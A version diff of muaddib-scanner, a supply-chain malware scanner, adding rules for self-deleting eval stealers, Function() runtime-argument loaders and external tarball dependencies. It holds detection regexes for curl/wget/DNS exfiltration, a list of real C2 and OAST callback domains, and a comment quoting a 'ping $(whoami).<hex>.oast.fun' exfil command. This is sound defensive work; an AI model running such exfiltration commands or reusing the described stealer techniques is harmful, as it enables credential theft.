muaddib-scanner 2.10.92 → 2.10.94

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -292,7 +292,7 @@ repos:
292
292
  | **FPR** (Benign random) | **7.5%** (15/200) | 200 random npm packages, stratified sampling |
293
293
  | **ADR** (Adversarial + Holdout) | **96.3%** (103/107) | 67 adversarial + 40 holdout (107 available on disk), global threshold=20 |
294
294
 
295
- **3134 tests** across 66 files. **200 rules** (195 RULES + 5 PARANOID).
295
+ **3230 tests** across 66 files. **207 rules** (202 RULES + 5 PARANOID).
296
296
 
297
297
  > **ML retrain methodology (v2.10.51):**
298
298
  > - Ground truth: 377 confirmed_malicious via auto-labeler (OSSF malicious-packages, GitHub Advisory Database, npm registry takedown correlation)
@@ -340,7 +340,7 @@ npm test
340
340
 
341
341
  ### Testing
342
342
 
343
- - **3134 tests** across 66 modular test files
343
+ - **3230 tests** across 66 modular test files
344
344
  - **56 fuzz tests** - Malformed inputs, ReDoS, unicode, binary
345
345
  - **Datadog 17K benchmark** - 14,587 confirmed malware samples (in-scope)
346
346
  - **Ground truth validation** - 67 real-world attacks (93.75% TPR@3, 85.9% TPR@20)
@@ -362,7 +362,7 @@ npm test
362
362
  - [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) - Experimental protocol, holdout scores
363
363
  - [Threat Model](docs/threat-model.md) - What MUAD'DIB detects and doesn't detect
364
364
  - [Adversarial Evaluation](ADVERSARIAL.md) - Red team samples and ADR results
365
- - [Security Policy](SECURITY.md) - Detection rules reference (200 rules)
365
+ - [Security Policy](SECURITY.md) - Detection rules reference (207 rules)
366
366
  - [Security Audit](docs/SECURITY_AUDIT.md) - Bypass validation report
367
367
  - [FP Analysis](docs/EVALUATION.md) - Historical false positive analysis
368
368
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.10.92",
3
+ "version": "2.10.94",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -61,7 +61,12 @@ const HIGH_CONFIDENCE_MALICE_TYPES = new Set([
61
61
  // v2.10.89: Security review findings — always malicious regardless of lifecycle
62
62
  'curl_env_exfil', // curl/wget + env/base64 in lifecycle (exfiltration)
63
63
  'function_constructor_require', // new Function.constructor("require") (RCE evasion)
64
- 'newsletter_auto_follow' // Baileys WhatsApp newsletter hijack
64
+ 'newsletter_auto_follow', // Baileys WhatsApp newsletter hijack
65
+ // v2.10.93: Security review 2026-04-10→17 findings
66
+ 'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
67
+ // v2.10.94: MT-1 ceiling bypass for ltidi and csec under-threshold cases
68
+ 'external_tarball_dep', // dep URL = tarball on third-party host (ltidi chain)
69
+ 'function_runtime_args' // new Function('require','__dirname','__filename',...) pattern (csec)
65
70
  ]);
66
71
 
67
72
  // Lifecycle compound types that indicate real malicious intent beyond a simple postinstall
@@ -881,6 +881,21 @@ const PLAYBOOKS = {
881
881
  lifecycle_env_exfil:
882
882
  'CRITIQUE: Lifecycle hook + exfiltration env via curl/wget a l\'installation. ' +
883
883
  'Machine compromise si deja installe. Rotation immediate de TOUS les secrets.',
884
+
885
+ self_destruct_eval:
886
+ 'CRITIQUE: Execution dynamique de code (eval/new Function/Module._compile) + auto-suppression du fichier execute (unlinkSync/renameSync sur __filename). ' +
887
+ 'Pattern anti-forensique professionnel: le malware execute son payload obfusque puis efface ses traces. Campagne csec-crypto-toolkit (avril 2026) exfiltre .env, GITHUB_TOKEN, NPM_TOKEN, AWS/SSH keys vers csec-supply-chain-attack.vercel.app, puis unlinkSync(__filename). ' +
888
+ 'Machine compromise si deja installe. Rotation immediate de TOUS les secrets (.env, tokens CI/CD, cles SSH). Verifier les .env des repertoires parents jusqu\'a 6 niveaux. Supprimer le package.',
889
+
890
+ function_runtime_args:
891
+ 'CRITIQUE: new Function() appele avec les identifiants runtime Node (require, __dirname, __filename) passes comme arguments string literal + corps dynamique. ' +
892
+ 'Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection de require() standard. Aucun package legitime n\'utilise ce pattern. ' +
893
+ 'Lire le contenu de l\'argument body. Tracer la source (souvent XOR/base64 decode). Isoler et supprimer.',
894
+
895
+ external_tarball_dep:
896
+ 'CRITIQUE: Dependance declaree avec URL tarball (.tgz/.tar.gz) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org). ' +
897
+ 'Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a aucun install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. ' +
898
+ 'Verifier le contenu de la tarball distante avant toute installation. Supprimer le package. Signaler au registre npm.',
884
899
  };
885
900
 
886
901
  function getPlaybook(threatType) {
@@ -2264,6 +2264,42 @@ const RULES = {
2264
2264
  ],
2265
2265
  mitre: 'T1496'
2266
2266
  },
2267
+ self_destruct_eval: {
2268
+ id: 'MUADDIB-AST-089',
2269
+ name: 'Self-Destructing Dynamic Execution',
2270
+ severity: 'CRITICAL',
2271
+ confidence: 'high',
2272
+ description: 'Execution dynamique de code (eval/new Function/Module._compile) combinee a la suppression ou renommage du fichier en cours d\'execution (unlinkSync/rmSync/renameSync sur __filename, module.filename, ou require.main.filename). Anti-forensics: le malware execute son payload obfusque puis efface ses traces. Aucun package legitime ne detruit son propre source apres execution de code dynamique. Campagne csec-crypto-toolkit (avril 2026): XOR(OrDeR_7077)+base64+new Function, exfiltre .env/.ssh/.npmrc vers csec-supply-chain-attack.vercel.app, puis unlinkSync(__filename).',
2273
+ references: [
2274
+ 'https://attack.mitre.org/techniques/T1070.004/',
2275
+ 'https://attack.mitre.org/techniques/T1140/'
2276
+ ],
2277
+ mitre: 'T1070.004'
2278
+ },
2279
+ function_runtime_args: {
2280
+ id: 'MUADDIB-AST-090',
2281
+ name: 'Function() with Runtime Identifiers as Arguments',
2282
+ severity: 'CRITICAL',
2283
+ confidence: 'high',
2284
+ description: 'new Function() appele avec des identifiants runtime (require, __dirname, __filename, module, exports, process) passes comme arguments string literal, et un corps dynamique (variable, expression). Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection require() standard. Aucun package legitime ne passe require + __filename a new Function.',
2285
+ references: [
2286
+ 'https://attack.mitre.org/techniques/T1059.007/',
2287
+ 'https://attack.mitre.org/techniques/T1027/'
2288
+ ],
2289
+ mitre: 'T1059.007'
2290
+ },
2291
+ external_tarball_dep: {
2292
+ id: 'MUADDIB-PKG-020',
2293
+ name: 'External Tarball Dependency URL',
2294
+ severity: 'CRITICAL',
2295
+ confidence: 'high',
2296
+ description: 'Dependance declaree avec une URL tarball (.tgz/.tar.gz/.tar.bz2/.zip) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org, registry.yarnpkg.com). Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a pas d\'install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. Attention: MT-1 score ceiling (cap non-lifecycle a 35) bypasse via HIGH_CONFIDENCE_MALICE_TYPES.',
2297
+ references: [
2298
+ 'https://attack.mitre.org/techniques/T1195.002/',
2299
+ 'https://attack.mitre.org/techniques/T1105/'
2300
+ ],
2301
+ mitre: 'T1195.002'
2302
+ },
2267
2303
  version_99_preinstall: {
2268
2304
  id: 'MUADDIB-PKG-019',
2269
2305
  name: 'Dependency Confusion Version Indicator',
@@ -144,7 +144,12 @@ const GIT_HOOKS = [
144
144
 
145
145
  // Suspicious C2/exfiltration domains (HIGH severity)
146
146
  const SUSPICIOUS_DOMAINS_HIGH = [
147
+ // OAST (Out-of-band Application Security Testing) callback domains.
148
+ // Legitimate only for authorized pentesting — in published npm packages,
149
+ // these are always reconnaissance/exfiltration callbacks (dependency confusion, SSRF confirmation).
147
150
  'oastify.com', 'oast.fun', 'oast.me', 'oast.live',
151
+ 'oast.online', 'oast.pro',
152
+ 'interact.sh', 'projectdiscovery.io',
148
153
  'burpcollaborator.net', 'webhook.site', 'pipedream.net',
149
154
  'requestbin.com', 'hookbin.com', 'canarytokens.com',
150
155
  // GlassWorm C2 IPs (mars 2026)
@@ -167,7 +172,11 @@ const SUSPICIOUS_DOMAINS_HIGH = [
167
172
  'minhdong.site', // Facebook credential proxy (fca-mmtat)
168
173
  'ltidi.storage.googleapis.com', // KuCoin dependency confusion payload
169
174
  'jsonkeeper.com', // Robert King campaign C2 dead drop
170
- 'npoint.io' // Robert King campaign C2 dead drop
175
+ 'npoint.io', // Robert King campaign C2 dead drop
176
+ // v2.10.93: Security review 2026-04-10→17 findings
177
+ 'csec-supply-chain-attack.vercel.app', // csec-crypto-toolkit credential stealer C2 (XOR+Function+unlink)
178
+ 'files.giftedtech.co.ke', // silva-baileys V3 newsletter JID remote loader
179
+ 'phish.sh' // JET/SkipTheDishes depconf webhook exfil
171
180
  ];
172
181
 
173
182
  // Suspicious tunnel/proxy domains (MEDIUM severity)
@@ -11,6 +11,35 @@ const {
11
11
 
12
12
  function handleNewExpression(node, ctx) {
13
13
  if (node.callee.type === 'Identifier' && node.callee.name === 'Function') {
14
+ // v2.10.94: detect new Function('require', '__dirname', '__filename', <dynamic>)
15
+ // csec-crypto-toolkit pattern. Gated by obfuscation signal to avoid FP on
16
+ // legitimate CommonJS module wrappers used by babel-register, ts-node, pirates,
17
+ // jest, nyc, vitest etc. which call new Function('module', 'exports', 'require',
18
+ // compiledCode). Those transpilers DO NOT have fromCharCode/base64 decode loops
19
+ // in the same file — csec does.
20
+ if (node.arguments.length >= 3) {
21
+ const RUNTIME_ARG_NAMES = new Set(['require', '__dirname', '__filename', 'module', 'exports', 'process']);
22
+ const bodyArg = node.arguments[node.arguments.length - 1];
23
+ const argNameLiterals = node.arguments.slice(0, -1)
24
+ .map(a => (a.type === 'Literal' && typeof a.value === 'string') ? a.value : null);
25
+ const runtimeArgCount = argNameLiterals.filter(v => v !== null && RUNTIME_ARG_NAMES.has(v)).length;
26
+ const bodyIsDynamic = bodyArg.type !== 'Literal';
27
+ // FP gate: require an obfuscation/decode signal in the same file.
28
+ // ctx.hasFromCharCode catches XOR/charcode loops (csec).
29
+ // ctx.hasBase64Decode catches Buffer.from(..., 'base64') patterns.
30
+ // ctx.hasZlibInflate catches zlib + base64 payloads.
31
+ const hasObfuscationContext = ctx.hasFromCharCode || ctx.hasBase64Decode || ctx.hasZlibInflate;
32
+ if (runtimeArgCount >= 2 && bodyIsDynamic && hasObfuscationContext) {
33
+ ctx.hasDynamicExec = true;
34
+ ctx.threats.push({
35
+ type: 'function_runtime_args',
36
+ severity: 'CRITICAL',
37
+ message: `new Function() passes runtime identifiers (${argNameLiterals.filter(Boolean).join(', ')}) to a dynamic body in a file containing decode/obfuscation patterns — csec-style obfuscated payload with full Node.js context.`,
38
+ file: ctx.relFile
39
+ });
40
+ return;
41
+ }
42
+ }
14
43
  // Skip string literal args — zero-risk globalThis polyfills used by every bundler
15
44
  if (!hasOnlyStringLiteralArgs(node)) {
16
45
  ctx.hasDynamicExec = true;
@@ -23,6 +23,26 @@ function handlePostWalk(ctx) {
23
23
  });
24
24
  }
25
25
 
26
+ // v2.10.93: csec-style credential stealer — dynamic exec + self-deletion of __filename.
27
+ // csec-crypto-toolkit (avril 2026): XOR-obfuscated setup.js that exfiltrates
28
+ // .env/.ssh/.npmrc to csec-supply-chain-attack.vercel.app, then unlinks itself
29
+ // and replaces package.json with package.md to erase traces.
30
+ // Threat model: the combination of (a) dynamic code execution from a variable
31
+ // (eval/new Function/Module._compile) with (b) self-deletion of the currently
32
+ // executing file is a professional anti-forensics signature. Legitimate packages
33
+ // do not destroy their own source after executing obfuscated code.
34
+ // Suppressed in dist/build to avoid bundler self-cleanup FPs (rare but possible).
35
+ if (ctx.hasDynamicExec && ctx.hasSelfDelete) {
36
+ const isDistFile = /^(dist|build|out|output)[/\\]/i.test(ctx.relFile) ||
37
+ /\.(bundle|min)\.js$/i.test(ctx.relFile);
38
+ ctx.threats.push({
39
+ type: 'self_destruct_eval',
40
+ severity: isDistFile ? 'HIGH' : 'CRITICAL',
41
+ message: 'Anti-forensics: dynamic code execution (eval/new Function/Module._compile) + self-deletion of __filename — malware staging with trace removal (csec pattern).',
42
+ file: ctx.relFile
43
+ });
44
+ }
45
+
26
46
  // SANDWORM_MODE R7: env harvesting = Object.entries/keys/values(process.env) + sensitive pattern in file
27
47
  if (ctx.hasEnvEnumeration && ctx.hasEnvHarvestPattern && ctx.hasNetworkCallInFile) {
28
48
  ctx.threats.push({
@@ -140,6 +140,10 @@ function analyzeFile(content, filePath, basePath) {
140
140
  hasTempFileExec: false,
141
141
  hasFileDelete: false,
142
142
  hasDevShmInContent: /\/dev\/shm\b/.test(content),
143
+ // v2.10.93: csec-style self-deletion — unlink/rename of __filename targets the
144
+ // executing file itself. Distinct from hasFileDelete (any file). Combined with
145
+ // hasDynamicExec in a compound to flag anti-forensics obfuscated stealers.
146
+ hasSelfDelete: /\b(?:unlinkSync|unlink|rmSync|renameSync|rm)\s*\(\s*(?:__filename|module\.filename|require\.main\.filename)\b/.test(content),
143
147
  // SANDWORM_MODE P2: env harvesting co-occurrence
144
148
  hasEnvEnumeration: false, // Object.entries/keys/values(process.env)
145
149
  hasEnvHarvestPattern: /\b(KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|NPM|AWS|SSH|WEBHOOK)\b/.test(content),
@@ -119,15 +119,17 @@ async function scanPackageJson(targetPath) {
119
119
  // v2.10.89: curl/wget + env/base64 exfiltration in lifecycle scripts
120
120
  // Catches: apache-arrow-14 (score 9→CRITICAL), @signals-notebook (score 9→CRITICAL)
121
121
  // Pattern: curl -d $(env|base64) URL, curl -X POST URL?env=$(env|base64 -w0)
122
+ // v2.10.94: extended to ping/nslookup/dig/host/getent — DNS exfil variants.
123
+ // Catches: koa-v3@9.4.0 which uses `ping -c 1 $(whoami).<hex>.oast.fun` instead of curl.
122
124
  if (['preinstall', 'install', 'postinstall'].includes(scriptName) &&
123
- /\b(curl|wget)\b/.test(scriptContent) &&
125
+ /\b(curl|wget|ping|nslookup|dig|host|getent)\b/.test(scriptContent) &&
124
126
  (/\$\(.*\b(env|id|whoami|uname|hostname)\b/.test(scriptContent) ||
125
127
  (/\bbase64\b/.test(scriptContent) && !/\|\s*(sh|bash)\b/.test(scriptContent)))) {
126
128
  // Exclude curl|sh which is already caught by lifecycle_shell_pipe
127
129
  threats.push({
128
130
  type: 'curl_env_exfil',
129
131
  severity: 'CRITICAL',
130
- message: `Critical: "${scriptName}" uses curl/wget with env/base64 exfiltration — credential theft via lifecycle script.`,
132
+ message: `Critical: "${scriptName}" uses DNS/HTTP exfil tool (curl/wget/ping/nslookup/dig) with env/base64 payload — credential theft via lifecycle script.`,
131
133
  file: 'package.json'
132
134
  });
133
135
  }
@@ -324,11 +326,46 @@ async function scanPackageJson(targetPath) {
324
326
  /\/\/192\.168\.\d{1,3}\.\d{1,3}[:/]/,
325
327
  /\/\/172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}[:/]/
326
328
  ].some(p => p.test(urlLower));
329
+
330
+ // v2.10.93: External raw tarball URL as dep — ltidi chain attack pattern.
331
+ // GitHub/GitLab/Bitbucket release tarballs are legitimate; everything else
332
+ // pointing to .tgz/.tar.gz/.zip is payload delivery via third-party storage
333
+ // (GCS, S3, CDNs). The stub package bypasses all lifecycle/obfuscation scanners
334
+ // because the malicious code lives in the external tarball fetched at install.
335
+ const isTarballUrl = /\.(tgz|tar\.gz|tar\.bz2|zip)(\?|#|$)/.test(urlLower);
336
+ const isLegitTarballHost = [
337
+ /\/\/github\.com\//,
338
+ /\/\/codeload\.github\.com\//,
339
+ /\/\/objects\.githubusercontent\.com\//,
340
+ /\/\/gitlab\.com\//,
341
+ /\/\/bitbucket\.org\//,
342
+ /\/\/registry\.npmjs\.org\//,
343
+ /\/\/registry\.yarnpkg\.com\//
344
+ ].some(p => p.test(urlLower));
345
+ const isExternalTarball = isTarballUrl && !isLegitTarballHost;
346
+
347
+ let severity;
348
+ let note;
349
+ if (isSuspicious) {
350
+ severity = 'CRITICAL';
351
+ note = ' (tunnel/private/localhost)';
352
+ } else if (isExternalTarball) {
353
+ severity = 'CRITICAL';
354
+ note = ' (external raw tarball on third-party host — chain attack pattern, npm registry audit bypass)';
355
+ } else {
356
+ severity = 'HIGH';
357
+ note = ' (unusual, verify source)';
358
+ }
359
+
360
+ // v2.10.94: External tarball on third-party host emits a distinct type
361
+ // so MT-1 score ceiling (caps non-lifecycle, non-HC packages at 35) can be
362
+ // bypassed via HIGH_CONFIDENCE_MALICE_TYPES. ltidi stubs have no install
363
+ // hooks, so the dep URL is the only signal and must be HC-classified.
364
+ const threatType = isExternalTarball ? 'external_tarball_dep' : 'dependency_url_suspicious';
327
365
  threats.push({
328
- type: 'dependency_url_suspicious',
329
- severity: isSuspicious ? 'CRITICAL' : 'HIGH',
330
- message: `Dependency "${depName}" uses HTTP URL: ${depVersion}` +
331
- (isSuspicious ? ' (tunnel/private/localhost)' : ' (unusual, verify source)'),
366
+ type: threatType,
367
+ severity,
368
+ message: `Dependency "${depName}" uses HTTP URL: ${depVersion}${note}`,
332
369
  file: 'package.json'
333
370
  });
334
371
  }
package/src/scoring.js CHANGED
@@ -118,7 +118,9 @@ const PACKAGE_LEVEL_TYPES = new Set([
118
118
  'lifecycle_missing_script',
119
119
  // v2.10.89: Security review compounds
120
120
  'lifecycle_newsletter_hijack', 'lifecycle_env_exfil',
121
- 'curl_env_exfil', 'version_99_preinstall'
121
+ 'curl_env_exfil', 'version_99_preinstall',
122
+ // v2.10.94: new package-level type for ltidi chain attack (dep URL on third-party host)
123
+ 'external_tarball_dep'
122
124
  ]);
123
125
 
124
126
  /**
@@ -253,6 +255,9 @@ const DIST_EXEMPT_TYPES = new Set([
253
255
  'npm_publish_worm', // exec("npm publish") (worm propagation)
254
256
  'curl_env_exfil', // curl/wget env exfil in lifecycle (always malicious)
255
257
  'function_constructor_require', // new Function.constructor("require") (always malicious)
258
+ 'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
259
+ 'function_runtime_args', // new Function('require','__dirname','__filename',...) + obfuscation (csec)
260
+ 'external_tarball_dep', // dep URL tarball on third-party host (ltidi chain)
256
261
  // Dangerous shell commands in dist/ are real threats, never bundler output
257
262
  'dangerous_exec',
258
263
  // Compound scoring rules — co-occurrence signals, never FP
@@ -893,6 +898,16 @@ function calculateRiskScore(deduped, intentResult) {
893
898
  if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
894
899
  packageScore = Math.max(packageScore, 50);
895
900
  }
901
+ // v2.10.94: Co-occurrence floor — 2+ distinct CRITICAL package-level types (different
902
+ // threat types, not duplicates) is a near-unambiguous malware signature. Lifts to 75
903
+ // (CRITICAL tier) so the final risk level reflects real severity instead of stopping
904
+ // at HIGH. Catches apache-arrow-14 (curl_env_exfil + lifecycle_env_exfil compound).
905
+ const criticalPkgTypes = new Set(
906
+ packageLevelThreats.filter(t => t.severity === 'CRITICAL').map(t => t.type)
907
+ );
908
+ if (criticalPkgTypes.size >= 2) {
909
+ packageScore = Math.max(packageScore, 75);
910
+ }
896
911
 
897
912
  // 5. Cross-file bonus: aggregate signal from non-max files
898
913
  // A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.